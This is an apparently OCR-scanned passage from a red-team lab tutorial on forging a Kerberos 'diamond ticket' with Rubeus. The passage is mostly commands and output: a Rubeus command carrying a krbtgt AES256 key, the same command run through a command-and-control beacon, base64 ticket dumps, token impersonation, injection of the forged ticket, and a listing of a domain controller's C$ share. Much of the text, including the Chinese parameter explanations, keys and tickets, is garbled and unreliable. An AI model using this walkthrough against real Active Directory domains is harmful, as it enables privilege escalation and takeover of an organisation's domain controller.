IO T TOT I T I T ] krbtgt AT T T TN TGT

ITTASIREYTITESEREQ TN TGT T TGTHIIT krbtgt I T

(IIT110 Rubeus [TITTTITITIIIIIT

/tgtdeleg[ITkerberos gss-api[IITT] TGTIIIIIIIITIIITIIT]
/ticketuser [IIT111]

/ticketuserid[TTTTTITT] RID

/groups[TRIDIIIIITP12

/krbkey[krbtgt[JAES256 [T]

(LTITIT]

rubeus. exe diamong /tgtdeleg /ticketuser: administrator /ticketuserid: 500 /groups: 512

/krbkey: 8d253b4d7db4t28ccbb653ba5dfc3ba878bd376d99ab4859d575201935d79157 /nowrap

beacon> execute- assemhly /fopt/red/rubeus.exe diamond stgtdeleq /ticketuser:administra icke id:500 /groups:512 /krbke 2 d7db4af28cch E: 9 - 9 /nowrap

[*1 Tasked be T NET ram: rubeus.exe diamond /tgtdeleq /ticketuser:administrator /ticketuserid:500 /groups:512 skrbkey:8d253bad7dbaf 3 9ah48 2 79157 /nowrap
[+] host called home, Srnt 551775 bytes

[+] received output

Action: Diamond Ticket

No target SPN specif attempting to build *cifs/dc.domain.com’
Initializing Kerberos GSS-APL w/ fake delegation for target *cifs/dcol.prod.raven-med.local’
API initialization success!

on requset success! AP-REQ delegation ticket is now in GSS-APT output.
Found the AP-REQ delegation ticket in the API output.
Authenticats ype: aes256_cts_hmac_shal
Extracted the service ticket session key from the ticket cache: UpWpzrl9eDHgjVhyN3wOkpVtGivhoAThKawjyX1zF70=
Successfully decrypted the authenticator
base64(ticket.kirbi):

Yqq AwIBBaEDAgEWe 0 IEADCCBHBhggRSMIIEaKADAGEF 0 RYbFFBST0QuUk FWRU4TTUVELk X PQOFMoikw J6ADAGECoSAwHhs! d6d0GxRAUk9EL LIBVK VOLUIFRCSMT ONBTKOCBBWW g QY0 AMCARKh AWIBAKCBAOEQQQGhK /KT

Decr’ yptlnq TL'T

Encrypting Modified TGT
base64(ticket.kirbi):

doIFfjCCBXqqAwIBBaEDAgEW0 0 IEZDCCBGBhggRCMITEWKADAGEF 0RYBFFBST0QuUK FWRU4tTUVELK X PQOFMoikw J6ADAGECo SAwHhsGa3 Ji dGd 0GXRQUK9EL LIBVK VOLU1FRCSMTONBTKOCBAWWQg0T0 AMCARKh AWwIBAGKCA /0EgQP2L Tapen5aD0I50Zs UANAGe t10M)



https://raven-medicine.com/uploads/images/gallery/2023-06/gk7wwalLl2sL6Viq-image.png

beacon> make_token prodiadministrator NotRealPassword

[*] Tasked beacon to create a token for prodiadministrator
[+] host called home, sent: 52 bytes

[+] Impersonated PROD\servermgr

beacon> kerberos_ticket_use /root/Desktop/diamond.kirbi
[*] Tasked beacon to apply ticket in /root/Desktop/diamond.kirbi
[+] host called home, sent: 2972 bytes

beacon> 1s ‘\\dcO1\c$

[*] Tasked beacon to List files in \\dcOl\c$

[+] host called home, sent: 27 bytes

[*] Listing: \\dcOI\c$\

Size Type Last Modified Name

dir 0/15/- 119: $Recycle.Bin
dir 1/2042 i Documents and Settings
dir 0/15/- PerfLogs
dir i Program Files
dir i 2023 13:: 2 Program Files (x86)
dir 04/02/2023 13: y ProgramData
dir 01/20/2023 i Recovery
dir 0:3: System Volume Information
dir 1/20/202 i Users
dir 1/20/2023 v Windows
512mb fil e pagefile.sys
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